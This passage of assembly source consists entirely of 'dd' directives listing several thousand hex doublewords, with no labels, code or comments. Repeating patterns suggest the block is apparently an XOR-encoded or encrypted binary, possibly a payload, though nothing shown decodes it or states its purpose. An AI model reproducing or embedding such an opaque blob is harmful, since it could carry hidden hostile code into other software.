		dd 0D1FD1466h, 9AB37306h, 0E4B97C3Fh, 86B72E07h, 8734B8C7h
		dd 443232E3h, 0A7B9E066h, 179400C7h, 898B449Fh,	45321566h
		dd 0AC3D4CA9h, 11321576h, 88389D69h, 41DB1566h,	7F321566h
		dd 6F83AD10h, 29A9905Dh, 0C13D13CBh, 22321578h,	80B79E93h
		dd 7134B343h, 446E010Eh, 60E9C66h, 4E161199h, 373D759Eh
		dd 32897391h, 0A70974E2h, 179FB4F9h, 88709069h,	55DB1566h
		dd 24321566h, 0DA76583Ah, 4A296F5Eh, 74ADA696h,	0C3B9971Bh
		dd 38B790EDh, 0D8CB13C0h, 0BBCDEADEh, 7AF53C99h, 1FDB7506h
		dd 0B6321566h, 0A9EFD35Fh, 0D0641E3Eh, 0DB62E4EDh, 95474E2h
		dd 25576EA9h, 8391905Dh, 943D13CBh, 8832154Ch, 4432108Fh
		dd 2C53AC66h, 94B9688Ah, 8E94121Fh, 4437FC06h, 92C71566h
		dd 700AE7C3h, 0AC36EA31h, 0C51629EDh, 223211A2h, 9409ED66h
		dd 8E9FB4C1h, 44109069h, 0A9CA1566h, 0B71B0CE3h, 0DD65E060h
		dd 0C3774839h, 2FB71A89h, 0F8321566h, 8832156Eh, 0FC286513h
		dd 0EB49C123h, 0B09D905Dh, 0D3D13CBh, 4432154Ah, 25C29506h
		dd 0E10BB7DFh, 0DB97427h, 429414DBh, 0DD8B4493h, 38CDEA99h
		dd 63D4CA9h, 4432156Ah,	22349869h, 9D3D1566h, 88321566h
		dd 0E599905Dh, 0A73D13CBh, 11321529h, 258F969Fh, 4434B361h
		dd 22739069h, 903D1566h, 88321569h, 44321F8Fh, 647B7D66h
		dd 794DBAD8h, 3F48B15h,	0E22AC0E3h, 9A62EC60h, 0EECDEA99h
		dd 876AD24Fh, 443200E9h, 2EDB7566h, 56321566h, 0EB7862C0h
		dd 0B5E123F8h, 0A81BA18Eh, 92C77495h, 2E32E0DBh, 0C03D1560h
		dd 223215F0h, 112D9669h, 63D1566h, 4432157Fh, 2232018Fh
		dd 0D1209A66h, 64BBF278h, 0FC2D57E0h, 0E3C2B576h, 4726301Ah
		dd 0BFB72E93h, 4B34B8C4h, 223270E3h, 94B9E066h,	8E94186Bh
		dd 46B81A06h, 0A8321566h, 2B71AB7h, 60321566h, 4432156Bh
		dd 0B639F3BCh, 18CED198h, 869F3E8Fh, 16534A86h,	223214DCh
		dd 4BE51466h, 0EF82AC06h, 4CDA0246h, 4F321566h,	5D41C3DBh
		dd 0E86DB654h, 24534F07h, 0B9E29406h, 912419F7h, 615301A6h
		dd 4432156Fh, 7CFFF274h, 13D50427h, 35B17469h, 42942133h
		dd 10B61A66h, 1E321564h, 883214E2h, 0F9B1E066h,	24940C83h
		dd 0FB61A66h, 71321564h, 0E629905Dh, 0A73D13CBh, 11321542h
		dd 883E9469h, 43DB1566h, 0B9321566h, 0F6C2C3CEh, 3CE471Dh
		dd 0E217E0E3h, 9B63E060h, 11321567h, 7D6BDA67h,	0E619905Dh
		dd 0A73D13CBh, 11321531h, 883D9C69h, 0AD521566h, 2232156Eh
		dd 0A7F0CCB2h, 766CB518h, 0B5B79E07h, 2D34B355h, 113214EBh
		dd 7FB5EC66h, 0C333D3E5h, 9C547591h, 3DAFBB3h, 0DA321566h
		dd 4C92ED38h, 0A8A58701h, 3914B9DCh, 0F13F1F0Fh, 0B7B9732Ah
		dd 0A352743Ch, 0F20964A8h, 0EB5DAE37h, 7F531907h, 8F900AE3h
		dd 3FB71A60h, 0E8321566h, 4432058Fh, 131D7266h,	64958C9Ch
		dd 0D46B0D4Ah, 9EB8A2E8h, 0EEF39456h, 700BFDD4h, 8C0390EDh
		dd 17CE13C0h, 0DDCDEADDh, 4AED3C99h, 0A7B72E9Ah, 4B34B8C4h
		dd 223257E3h, 16BC1A66h, 87321566h, 443214E5h, 0A7B9E966h
		dd 1794119Bh, 8832128Fh, 0E88F566h, 0CBD1A84Eh,	0EECDA833h
		dd 671BEA99h, 0C554753Bh, 0DA0D55ACh, 113FFC07h, 56DC1566h
		dd 0F0609694h, 51EA09CDh, 2A09E9E8h, 259026E3h,	6CB71A60h
		dd 2D321566h, 113214E8h, 3CBED66h, 0E22218E3h, 9F67ED60h
		dd 0EECDEA99h, 876FFA4Fh, 44321FEBh, 0A43D7566h, 11321566h
		dd 0B3537406h, 0E99036E3h, 6AB71A60h, 0F8321566h, 88321576h
		dd 3D5A9F5h, 2D776060h,	0EB31147Dh, 580C1B05h, 43B790EDh
		dd 2CDB13C0h, 0A4321566h, 21606371h, 0C4A9FFF3h, 260D7FC0h
		dd 0EE89467Ch, 0A1CDEA99h, 48DB4EB9h, 0EE321566h, 0D3B732F6h
		dd 8A863ECCh, 7F781A68h, 8F9032E3h, 7FB71A60h, 0E8321566h
		dd 4432198Fh, 0E3BD2166h, 57345307h, 0B48A2ECBh, 4434FC8Dh
		dd 0A94A1566h, 9B79D061h, 9DB79E07h, 4B34B356h,	223209E9h
		dd 7B81A66h, 61321566h,	44321577h, 3F7DDAF5h, 0EA1FADD4h
		dd 0A6C64B10h, 6C0586F2h, 238F4066h, 10321566h,	33D4889h
		dd 4432156Eh, 22309C69h, 70521566h, 883BFC06h, 0F55E1566h
		dd 0B7E150Ch, 0ED3C9628h, 6D8F9607h, 4434B37Fh,	2B919169h
		dd 2ACA1566h, 2593A6E3h, 6AB71A60h, 0DB321566h,	1C8390EDh
		dd 7DC713C0h, 6036EA31h, 0A31629EDh, 113211A2h,	8821FC66h
		dd 0D3581566h, 44BF9BB4h, 0BEEB7E50h, 0E5002B06h, 0D3616EF0h
		dd 65B72E63h, 1E34B8C4h, 883259E3h, 0FC547566h,	2D52BE94h
		dd 113215EBh, 0E46FAC66h, 25532259h, 2232198Fh,	0B56CF366h
		dd 0A069D46Fh, 16125122h, 67B79E45h, 7134B370h,	0E9FDA269h
		dd 0BBCDA833h, 0CD1BEA99h, 113CFC3Bh, 9D951566h, 22C7C371h
		dd 5E40A348h, 853AA2AAh, 3FB72E9Ah, 4B34B8C7h, 223245E3h
		dd 0F8647566h, 88321568h, 0CD6B1A95h, 38971DD8h, 0AB0A9E3Dh
		dd 6068AD14h, 4432156Fh, 0B1E2F219h, 0D99325D5h, 0D0C39EFEh
		dd 7DB79E07h, 0D734B370h, 0EECDA833h, 671BEA99h, 4421FC3Bh
		dd 69CE1566h, 0E73E4545h
		dd 0A42ABC19h, 0B2EFECCBh, 994A14A8h, 0AAB72E6Ch, 8734B8C7h
		dd 443225E3h, 2238FC66h, 31B21566h, 0AFB0D4D8h,	0BE5D8E01h
		dd 3D0B90EDh, 44CA13C0h, 77CDEADBh, 19DD3C99h, 2232198Fh
		dd 6ED44366h, 9C4DDEBFh, 0D3C5D746h, 9DB72EBFh,	1E34B8C7h
		dd 883220E3h, 0C1B9E066h, 24940D1Fh, 11359069h,	87521566h
		dd 0D785E4D9h, 238F4007h, 10321566h, 9BDB4889h,	44321566h
		dd 891553D6h, 23B5C127h, 0C38AD5FAh, 6F88B639h,	0A7094042h
		dd 179FB4A5h, 885E9069h, 17521566h, 2232018Fh, 5F14BF66h
		dd 92E66BE4h, 4CB88872h, 0FB07D017h, 39FA4467h,	0B534D2Dh
		dd 0E235B8DBh, 0A73D1560h, 11321524h, 4C8B7306h, 0C1B974C7h
		dd 24940B5Fh, 0FC894693h, 94AA237h, 1B4AFF85h, 0A3D9C475h
		dd 4245F88Dh, 63B35E1Ah, 0CF8A25E1h, 2D69CA4Fh,	113204E7h
		dd 83B01A66h, 0AD321566h, 22321560h, 0C5EB3BD5h, 0D0995B9h
		dd 429FB4A1h, 227E9069h, 3DB1566h, 25321566h, 0D5EB7046h
		dd 103A70BFh, 0CDFCFE21h, 552E0BC1h, 0E1B79E9Dh, 2D34B340h
		dd 113201E5h, 883DFC66h, 0D9591566h, 0DBBE2261h, 1FD0C038h
		dd 1973CB49h, 458847F7h, 23321566h, 16DB4FB1h, 0D321566h
		dd 62BC2839h, 0A709CD4Ch, 179FB4ADh, 885E9069h,	56DB1566h
		dd 55321566h, 2CB464CDh, 0F6883909h, 8333E2BAh,	70155218h
		dd 0BC8F9696h, 8834B361h, 447A9069h, 2DDB1566h,	0D4321566h
		dd 304D3F6h, 4A5571F3h,	1EBF29BCh, 94B9D108h, 8E943C0Bh
		dd 443CFC06h, 84C31566h, 2E73D12Fh, 0D834AD33h,	0CDC9CB2Fh
		dd 22A353DEh, 0AB607405h, 77CDEA99h, 2468C24Fh,	22319B69h
		dd 0A63D1566h, 0D0974B8h, 429FB4A9h, 22619069h,	1EDB1566h
		dd 2B321566h, 0ED38F861h, 0F6E3469Bh, 496B99F1h, 3C74CB1h
		dd 0E22EE0E3h, 223DFC60h, 6A691566h, 0FA01B6C0h, 35A86B1h
		dd 0E1EA5907h, 3D88476Fh, 945AB03h, 0D701DACh, 0A3E0E201h
		dd 0BA5739ACh, 0C8C0940Bh, 0C5058A56h, 16FFD58Ch, 4BE53CBCh
		dd 5BB72E9Eh, 4B34B8C7h, 223227E3h, 1134FC66h, 0ECDA1566h
		dd 0AF583FEEh, 3EAF90EDh, 953D13C0h, 8832156Eh,	44309B69h
		dd 43521566h, 2835AC37h, 69F353F8h, 5F39460h, 236A64D8h
		dd 2ACE4CA9h, 2593CEE3h, 74B71A60h, 0CB321566h,	11321560h
		dd 0F063A22h, 0F9B14BB4h, 249412CBh, 9B71A66h, 74321566h
		dd 508B90EDh, 71CB13C0h, 113214DDh, 0D3ED1466h,	0C4C39E06h
		dd 1953A696h, 0BC93C2E3h, 0C2B71A60h, 0AD321566h, 2232156Ah
		dd 0C944A82Bh, 3BA346DBh, 35B13288h, 259FA8E5h,	1E3213C0h
		dd 883239E3h, 0FB3D7566h, 0A7B974BEh, 179434F3h, 883E9D69h
		dd 0C03D1566h, 22321560h, 11329B69h, 0EE521566h, 82B2DBEDh
		dd 0A165746Eh, 4E333162h, 57B72E9Ah, 4B34B8C7h,	223226E3h
		dd 9A547566h, 8EBE1AAEh, 0C5321566h, 0E5F866B4h, 94B9741Bh
		dd 8E943CFFh, 0C3E5929Eh, 0D8B5529Ch, 0F8CEC2E1h, 8832156Ah
		dd 390714B3h, 4F959453h, 257E089Fh, 29D1905Dh, 0C13D13CBh
		dd 2232152Ah, 0EF851A06h, 8821FC07h, 62231566h,	6CDCFDDDh
		dd 9461441Ch, 945810C0h, 50B5C30Fh, 5FB79EEEh, 0E934B37Dh
		dd 8833A833h, 0AB331566h, 0A43D753Bh, 11321563h, 47E9ADFh
		dd 443FFC76h, 7C071566h, 0F7D9AA1Fh, 0BD65375Ch, 25DFBE95h
		dd 83D5905Dh, 943D13CBh, 8832155Fh, 4432108Fh, 9A0DBB66h
		dd 94B9E956h, 8E940C97h, 44321D8Fh, 4EAC8C66h, 29A40D05h
		dd 508D75F9h, 0C45188F6h, 70531BA3h, 113214DCh,	0D2E51466h
		dd 0FCD19F06h, 5600EBBFh, 0FAB72E07h, 8734B8C7h, 443255E3h
		dd 2221FC66h, 38FE1566h, 25667A8h, 0AA3AF4AFh, 0A21E88C8h
		dd 819E79A7h, 0C5B79E21h, 4B34B348h, 22321AE6h,	1138FC66h
		dd 53CC1566h, 14EB37BAh, 312E41C4h, 1133AE35h, 57331566h
		dd 0B1CE753Dh, 0CDB72E07h, 1E34B8C7h, 883227E3h, 0C1B9E966h
		dd 2494144Bh, 0D0B97306h, 0DB5310D1h, 443214DDh, 79ED1466h
		dd 11399B69h, 0EE521566h, 0CC3DD2EDh, 22321566h, 0D1B27507h
		dd 7FB373D5h, 7F53BA83h, 8F93E6E3h, 2FB71A60h, 87321566h
		dd 443213E4h, 78637566h, 9A537406h, 2E3910E3h, 4437FC60h
		dd 0F38C1566h, 44C8077Fh, 883214DBh, 19DD1466h,	22339769h
		dd 1EC71566h, 883219ECh, 42B81A66h, 2D321566h, 113215EEh
		dd 7FB72E66h, 4B34B8C7h, 22322BE3h, 94B9ED66h, 8E943ED3h
		dd 0FA64E99Eh, 0DDCDEA99h, 716CE24Fh, 6E63EDDFh, 4422FC4Eh
		dd 41CB1566h, 0CC86F931h, 28549A25h, 0C4B2F010h, 2D53A1B3h
		dd 11321FE8h, 8837FC66h, 0B4B01566h, 19E06195h,	0BC93EEE3h
		dd 0CCB71A60h, 4B321566h, 22321CE8h, 1ECA7566h,	883215E3h
		dd 0C1B97466h, 2494036Bh, 11359669h, 63D1566h, 44321567h
		dd 238C439Eh, 10321566h, 85DB4B91h, 31321566h, 204452F1h
		dd 9922052Eh, 0B0E4B560h, 0A3B37306h, 1953B1E0h, 0B72808E3h
		dd 0A4B71A60h, 24321566h, 2D25D4E6h, 113217E0h,	0E9FEA066h
		dd 619790EDh, 0A53D13C0h, 1132156Eh, 88309569h,	25521566h
		dd 61E9631h, 1E524A99h,	0B353CED9h, 0E993EAE3h,	0CB71A60h
		dd 0E9321566h, 0A59B90EDh, 0C83D13C0h, 2232156Fh, 0ABBFA106h
		dd 0C90FB57Eh, 458B4407h, 23321566h, 71524CA9h,	0E3DD9D0h
		dd 44321566h, 4368A707h, 2AB72E9Fh, 8734B8C4h, 44328CE3h
		dd 9FB1ED66h, 179FB725h, 97B71A66h, 24321566h, 130AAC00h
		dd 0C08F9607h, 8834B355h, 444A9169h, 25DB1566h,	0E7321566h
		dd 8A871723h, 0C1B98DA3h, 24940053h, 1132108Fh,	18E27B66h
		dd 0C43DB7DDh, 22321546h, 11BB1A06h, 61321566h,	44321575h
		dd 0A1412EF8h, 2C9F9DBBh, 0C0CEE0A2h, 565FE3BCh, 43EE6680h
		dd 392CAC37h, 61B32FE8h, 74DC5F81h, 5CDDF4E7h, 58735F6Ah
		dd 0D41AFCE7h, 8B1B1D6Ah, 2EDB753Fh, 99321566h,	6EDB2FC1h
		dd 8154CF3Eh, 0A32E8202h, 2788A7A4h, 0D097400h,	429FB759h
		dd 22549069h, 92CA1566h, 259056DBh, 0C13D1560h,	2232155Ah
		dd 11321E8Fh, 9C85DD66h, 9E68685Eh, 0BCDB5786h,	0C08F969Eh
		dd 8834B355h, 44089169h, 0CA521566h, 11321560h,	856AAA56h
		dd 41DA8CA9h, 0EF321566h, 0D7844F07h, 87654E3Dh, 256DCAD1h
		dd 237390EDh, 16DB13C0h, 0FD321566h, 23C243CFh,	9F67E62Ch
		dd 11321567h, 716FFA67h, 0E631905Dh, 0A73D13CBh, 11321509h
		dd 8822FC06h, 24F01566h, 97792B6Dh, 224453B7h, 50E02411h
		dd 6083DBBFh, 0FBB79E07h, 7134B37Dh, 39C09400h,	4422FC1Ah
		dd 0D49A1566h, 0DC1B9845h, 450F7906h, 0A4EA76CAh, 73539636h
		dd 0A91E84DFh, 18C39437h, 4563AD4Ah, 2D524CA9h,	11320CE9h
		dd 8826FC66h, 513D1566h, 0A0F7B9C9h, 150F7865h,	0F9DA31C6h
		dd 0B17ECC3h, 995415F5h, 2A53A09Fh, 259012E3h, 63B71A60h
		dd 0D7321566h, 148B90EDh, 0EE5213C0h, 0C695CDE7h, 5E8B4407h
		dd 0D000703Ch, 79B31087h, 8995AE7h, 426BDA67h, 0A63DD6EDh
		dd 0D0974B4h, 429FB76Dh, 220F9069h, 9C3D1566h, 88321567h
		dd 45B79E9Ah, 0CB34B372h, 1132156Fh, 0BD2C4B26h, 7C69E482h
		dd 0A354758Ch, 43707FAFh, 0E96A7406h, 7577FAE1h, 13CF2489h
		dd 113BFC89h, 0AD701566h, 0CF9D9FFCh, 19D5AD7Ah, 0BC901AE3h
		dd 0C5B71A60h, 0AD321566h, 22321563h, 0A0303C5Eh, 0C5B79E46h
		dd 4B34B379h, 223204EBh, 19DB7566h, 0EE321566h,	0E51D422Ah
		dd 710A8B6Bh, 43C7743Eh
		dd 0D142E9DCh, 43D0D433h, 0DCD8942Ch, 109EAD1Bh, 61524FB1h
		dd 44321563h, 1C5673FDh, 28E99488h, 0E92FB186h,	0E621905Dh
		dd 0A73D13CBh, 1132154Ch, 88369569h, 0B8521566h, 0A7B9749Fh
		dd 17943AA7h, 0B6C29506h, 0FB8FE1DEh, 9961747Eh, 0EECDEA99h
		dd 8769CA4Fh, 443214EDh, 0A709E066h, 179FB771h,	88699069h
		dd 0FC521566h, 396E27F5h, 11379269h, 9541566h, 25E8FDADh
		dd 2F8390EDh, 915213C0h, 5488A785h, 255C0018h, 1675AB30h
		dd 0E7B373F4h, 0F10E0260h, 988CE3E7h, 0D51BF537h, 1E52EC38h
		dd 88320DE7h, 4420FD66h, 0CAC51566h, 727F80ECh,	504ACD2Dh
		dd 0AE1371B9h, 1827D589h, 1E99539h, 87CD1E07h, 443200E2h
		dd 86DBEC66h, 1ECDEA88h, 88321CEAh, 65827566h, 0B53453DCh
		dd 9409743Ah, 8E941263h, 447E9069h, 31DB1566h, 3321566h
		dd 0C36E114Fh, 0B4E987A5h, 1B8318D4h, 0A282C661h, 0DBF3CB9h
		dd 429F2EF2h, 2232048Fh, 9D16E166h, 0C685F752h,	71F47427h
		dd 0DDAB377Ah, 41DB2685h, 61CDEA88h, 44321568h,	0E658C8A3h
		dd 5240724Eh, 1618E11Ch, 0C1090B99h, 24940D53h,	116A9069h
		dd 8521566h, 57DB36BAh,	18321566h, 72863F8Ch, 5736B706h
		dd 5A876396h, 0C8B600A4h, 92538552h, 259376DBh,	0C13D1460h
		dd 22321548h, 1132058Fh, 18391766h, 0B62CF04Ah,	7CBD3EA5h
		dd 0B7440675h, 0EFB79856h, 4B324C6Dh, 223212EBh, 10B11A66h
		dd 7D321566h, 0BBDFCF8Fh, 0A709E099h, 179FB415h, 88109169h
		dd 0CF521566h, 0DCF7ADA7h, 2A533F28h, 259362E3h, 6BB71A60h
		dd 42321566h, 1E68D3E6h, 883217EEh, 25E89E66h, 0DDDFB38Fh
		dd 9A547599h, 8821FCA4h, 0B0DD1566h, 67F4E46Fh,	0CD0B91B4h
		dd 3CA6FC7Eh, 0BC76C943h, 4A607430h, 6DB163F8h,	91601EDh
		dd 443211A2h, 0F8C55766h, 2D17D7E7h, 62B30447h,	0D0AFD0E0h
		dd 4268C3EFh, 1E537506h, 6153C5D9h, 4432156Ah, 0D6578877h
		dd 56EA4569h, 578D9877h, 45CC9607h, 22869069h, 2ACE1566h
		dd 259372E3h, 73B71A60h, 42321566h, 9D91F2E7h, 373D670Ah
		dd 0C1BF74B7h, 226A92A2h, 1132068Fh, 13D13266h,	301C819Dh
		dd 0B5A40C9h, 3C0975B4h, 20FD6CAh, 0FD7FAF06h, 0CB5327D8h
		dd 0EECDF865h, 0D09ED9Ah, 429FB40Dh, 22139069h,	14DB1566h
		dd 0D2321566h, 4A9ED7D9h, 0AA0890EBh, 0F8CE153Eh, 77CDF9B9h
		dd 4432138Fh, 28F2AB66h, 2A5894C8h, 25937AE3h, 73B71A60h
		dd 42321566h, 1132048Fh, 0CC5CA966h, 4E26ECD4h,	6050C3ACh
		dd 0FA35185h, 64B831A0h, 3BB79807h, 0DE324DEEh,	0EEDEB78Fh
		dd 373D7599h, 42B31AA1h, 2D321566h, 113215EAh, 3627466h
		dd 80B13162h, 23B71A62h, 0E8321566h, 8853460Eh,	601E9C66h
		dd 223217DBh, 4CDC9C66h, 8832198Fh, 52E8FD66h, 4ED60F22h
		dd 0AE418227h, 87C41EC3h, 44322CE3h, 33B21A66h,	0F8321566h
		dd 8832156Ah, 536F36A0h, 83277428h, 9944F8DDh, 77DE0E8Fh
		dd 0A6B27599h, 2221FC6Bh, 52211566h, 0ABA3F6C3h, 9B324670h
		dd 8D65D97Ah, 0EC4DBFF8h, 96274BFh, 680B314Ah, 726C1070h
		dd 232D4FDEh, 0ED783823h, 0ACE3382Ch, 772F5B7h,	0F94141Ah
		dd 381E3C53h, 1CF41475h, 2232018Fh, 80E7A266h, 0F3B0183Bh
		dd 0A6C627C9h, 0DF7FA291h, 98107909h, 89BF1AB7h, 0B8321566h
		dd 345BA0EFh, 9D3D13C0h, 8832156Ah, 4432128Fh, 12E9C766h
		dd 37906F9Fh, 0A357A0EFh, 43DB13C0h, 51321566h,	7459475Eh
		dd 8CAED94h, 0C13DFC58h, 22321595h, 2571AB06h, 8760147Bh
		dd 443215EFh, 0DD534B66h, 3DB31410h, 50086B42h,	0FC624A27h
		dd 63EA2F18h, 0E46AD267h, 0E9B4A833h, 0A1B351DAh, 3C811843h
		dd 9031F0A7h, 5C05CDA3h, 0B5C79417h, 23A5460Eh,	0E6334889h
		dd 0DF3BFAE7h, 55DB1561h, 0A8321566h, 0BF5D5A57h, 69D093EAh
		dd 0CB978295h, 0ED154FCEh, 352E9E30h, 8736D1E5h, 443206EAh
		dd 2FBE1A66h, 0F8321566h, 8832156Eh, 0C3920823h, 0A0C8D5A8h
		dd 1DAAD36h, 0BD7A7E07h, 351C4DDCh, 6D3A4853h, 69D9947Ch
		dd 894DA050h, 3CF194A5h, 7A4DA050h, 11321E8Fh, 0FDA99066h
		dd 0C4A0B3DEh, 94989A51h, 75BA85Dh, 0A3D13C0h, 44321557h
		dd 22321B8Fh, 775DA266h, 0DE80AEE6h, 0AA1A60EDh, 19FBC4E8h
		dd 0DB41A9Dh, 61321566h, 44321577h, 2340381Fh, 5BD5452h
		dd 0D515CD56h, 0F47C1155h, 0C8A0FC82h, 9ACEEA99h, 2E37B4DBh
		dd 4426FC60h, 3BB11566h, 5D805C6Ah, 45D88A5h, 47CE23F7h
		dd 86579861h, 94F52C68h, 8E9411D7h, 44321566h, 2232048Fh
		dd 0C8D7AC66h, 0BA093A77h, 0BFB492CEh, 404B1EF7h, 0ED5241DDh
		dd 0E9C3A269h, 4421FC06h, 0F45C1566h, 508AB348h, 803C904Dh
		dd 7FB556F3h, 1A00E4Ch,	74879CAFh, 0E834B34Dh, 0CA01AB00h
		dd 22321F8Eh, 0C9F46F66h, 0EC56610Bh, 2430FB32h, 0AF534F07h
		dd 0BF1773FBh, 5BCDEC60h, 4432078Fh, 0C711366h,	9140478Fh
		dd 6E42C4B1h, 5A0BB3C7h, 290C3B98h, 3BB61AA6h, 87321566h
		dd 44320DEDh, 30B01A66h, 0F8321566h, 8832156Bh,	82A6E6F6h
		dd 497F38A4h, 35C749A8h, 88ABFC09h, 0C03D1566h,	22321567h
		dd 69AF989Ah, 0E834BEC4h, 0FAEC9E00h, 0DF41C7Ah, 1EE1EA07h
		dd 77CD6DE5h, 4437FC99h, 4DDE1566h, 9A9F7C63h, 2E1970D3h
		dd 0F1BBED60h, 249411D7h, 90544606h, 0D2FFFB89h, 25FD9E00h
		dd 22321D8Fh, 1AB9866h,	0A4A903FDh, 82AF98A0h, 4234B9C1h
		dd 940AAD00h, 8832058Fh, 6BD54166h, 0BE673ED7h,	693789EBh
		dd 44A1AE19h, 97CD74FAh, 22139B69h, 90521566h, 0EFCD8484h
		dd 4426FC15h, 457A1566h, 59E42534h, 683FD02h, 57FC694h
		dd 217E6700h, 9A539931h, 2E247CE3h, 57DA7560h, 1E321566h
		dd 8BDC09C7h, 0EA10D2E3h, 0DD819FB0h, 0B23E1FE8h, 7052CE81h
		dd 153E03Eh, 0E21970E3h, 32B11A60h, 0F8321566h,	8832156Dh
		dd 573DD878h, 3E130BD4h, 7042F108h, 0B6B2EC9Fh,	78B71A8Eh
		dd 2D321567h, 113212E6h, 89B81A66h, 0BC321566h,	0E78F969Fh
		dd 1134B367h, 89139169h, 4DDB1566h, 0D6321566h,	2A18CE3Ah
		dd 0D22967C9h, 38824535h, 0FAC4C590h, 0D9CCDD98h, 4FBA0252h
		dd 444FA53Eh, 30DB4E9Eh, 3F321566h, 0EC49045h, 80A4C2h
		dd 322D7FE0h, 3D9EBDC7h, 9ADBBFE7h, 69321566h, 7F0E1F78h
		dd 0C0E9AC6Ch, 0C43C146Ah, 610B3A19h, 26B343E9h, 9A4C1642h
		dd 37654D05h, 15CD6F3Ah, 6BBBD2E7h, 0F6B304B6h,	0DB2E3308h
		dd 7A1D2E7h, 0EDB33B1Dh, 1E611829h, 0B836D2E7h,	0BC1BF6D2h
		dd 0A9547539h, 691AF95h, 0DF534CCBh, 74102CD9h,	0ADF59459h
		dd 56249F44h, 493AF2A7h, 0A3B31281h, 5C9B487Bh,	0FFFAFAE7h
		dd 7033AECEh, 69CA3C39h, 4445045Eh, 718AA506h, 543640DEh
		dd 9AB9735Dh, 9D657407h, 11321562h, 3D13DD4Bh, 41CA3C2Dh
		dd 698734AEh, 113BFC39h, 3ECB1566h, 4A4E01BDh, 89B32BC7h
		dd 1132018Fh, 6624A166h, 16E4EFCAh, 0BC82DD2Fh,	676D6D83h
		dd 3C35116Ch, 443AFCA8h, 0C49F1566h, 65FC4662h,	9EDBC569h
		dd 0AD321564h, 2232156Dh, 0BFE1B0D5h, 75297E8Eh, 0C9A4543Bh
		dd 8C3EC9FBh, 10BF1A60h, 74321566h, 0F052C699h,	2CBE1AE3h
		dd 0F8321566h, 8832156Fh, 9C84B1EBh, 1C94D99Bh,	8CBF745Eh
		dd 8E9C0AFCh, 41B11A06h, 44321566h, 8D71D4E7h, 0C1FB9400h
		dd 97CD7464h, 2232018Fh, 0F0CB4C66h, 0A282E17Eh, 70F53244h
		dd 497B1219h, 5B29570Ch
		dd 8835FCC9h, 89671566h, 676BB6B2h, 1EF21EDDh, 88320CE3h
		dd 7DBE966h, 2D321566h,	113218E7h, 883AFC66h, 76521566h
		dd 0EC44FE09h, 94B19FE7h, 8E943E03h, 48BC1A63h,	2D321566h
		dd 113213E3h, 88B31A66h, 0AD321566h, 0DDCDEB70h, 0F8A8A506h
		dd 8832156Fh, 0DF455887h, 35556639h, 8CBF749Eh,	8E9C3769h
		dd 24E1EA93h, 0BA15AB00h, 70F19E00h, 0D3DD56Dh,	4432157Ah
		dd 2270FC9Ah, 0DB1566h,	0B321566h, 5F94F6A2h, 0EDF27C08h
		dd 6E1E17D4h, 0D75AEEA9h, 4436A833h, 0C8331566h, 921639EDh
		dd 81DB11A2h, 29321566h, 8E3440Eh, 0D229D4AFh, 8832ED8Fh
		dd 0CC3D7566h, 22321566h, 70B7F7E6h, 2A4A88EBh,	0C73D13CDh
		dd 22321570h, 11229169h, 83DB1566h, 6321566h, 1C5AB1A9h
		dd 7CCF7EECh, 5BCDA0E1h, 441F9669h, 0A9C71566h,	0B71970D3h
		dd 0BDBED60h, 4B32154Dh, 223214E2h, 5DBEC66h, 7321566h
		dd 8CD53264h, 0CEB47B88h, 4A2CD9D3h, 7DD832A9h,	0CFC3F924h
		dd 841970EBh, 0A4BBED60h, 8E943E03h, 4421FC93h,	0F7B61566h
		dd 0AC2A05E6h, 0B1FF6D75h, 2391AF0Dh, 49993461h, 1EDB941Ah
		dd 97BA943h, 57528F8Fh,	0A3C33C6Dh, 2528FA7h, 87F3946Dh
		dd 0BC7BA943h, 2232AE35h, 0FAB31566h, 0CC584B84h, 87B3DE4Fh
		dd 66584B84h, 0F869CCEFh, 88321560h, 7B38267Dh,	0CCB39402h
		dd 638488Fh, 3260DB4Fh,	9324012h, 0C8B3CF91h, 8AC759C5h
		dd 7468C367h, 0CB3DB195h, 2232156Dh, 11B61A06h,	87321566h
		dd 0AD53E3D9h, 0DDCDE9D0h, 0F7AF989Ah, 6134B9CFh, 4432156Fh
		dd 0DCF83739h, 2703A644h, 71E1EABAh, 60069431h,	11642498h
		dd 488B443Eh, 491BD45Bh, 9DC51087h, 0D0FCE7h, 0D90381E4h
		dd 0EE64753Fh, 0F468C3EDh, 0CB52748Bh, 1132156Dh, 0BB365399h
		dd 0ADA21B7Bh, 0CB147DBAh, 11321577h, 0D30E0CCh, 6C592D9h
		dd 0FFC8E800h, 21C0389Fh, 0D1974D0h, 429410C7h,	57B79C9Eh
		dd 7134B34Bh, 88321A8Eh, 1688366h, 0FC67C858h, 9D2E8AC9h
		dd 0DB60A5CAh, 44329E69h, 2D6C1566h, 9A53DAD9h,	2E37B4E3h
		dd 4437FC60h, 69251566h, 467E995Ah, 4FB3F2EFh, 44321562h
		dd 2236FAE7h, 2DB51566h, 0B4BB4942h, 0CD63E042h, 26F39487h
		dd 90321566h, 8832118Fh, 603E9266h, 6369C3Ah, 113E9869h
		dd 0EE521566h, 4B8049DCh, 223215E9h, 9C3D7466h,	8832157Dh
		dd 44279269h, 32DB1566h, 0CE321566h, 992A6107h,	0BEC1DBBEh
		dd 757E7395h, 9C3FB449h, 249E31EBh, 4423FC60h, 0BAF81566h
		dd 10F8F2AFh, 53F433Ah,	0E5C11E05h, 0DDDC9C4Fh,	0C1B275B7h
		dd 8752743Ah, 43DAC3D1h, 58321566h, 565018DBh, 43DB33Dh
		dd 44321566h, 0A7B97438h, 17941A9Fh, 6FBB429Eh,	4436D2E7h
		dd 0CDB31566h, 11321562h, 0D41629E1h, 4B1611EFh, 223203E4h
		dd 1123FC66h, 344A1566h, 0D4DBF97Ch, 6695E79Ch,	0E1D7B383h
		dd 0E0B3E23Ah, 44320E90h, 0DB1629EFh, 149390EDh, 95213C0h
		dd 0BAD013B4h, 265A7448h, 9832151Ch, 87523162h,	0AA80E3D1h
		dd 0A5BF9807h, 0ED34B9CBh, 8EDBC499h, 0F3321566h, 9A986461h
		dd 15DE9413h, 1321566h,	24683162h, 223EFC07h, 9D741566h
		dd 0F749A738h, 3AFC6822h, 0A362A1EEh, 20273162h, 0DA6B15EDh
		dd 0F76CEFDCh, 0E8B35700h, 0A7C5E59h, 0F320D7E7h, 0AEB301ECh
		dd 0B1CCBC9Ah, 1E68C44Fh, 883212E6h, 45B01A66h,	0DB321566h
		dd 1ECB984Dh, 86DB13C0h, 90321566h, 747F13A9h, 10524DDAh
		dd 0CDB0AA7Ch, 58F9630h, 2234B357h, 11E29169h, 0E8521566h
		dd 0C012F4E7h, 0CB5316A7h, 1132156Bh, 3E44B69Dh, 629F86ECh
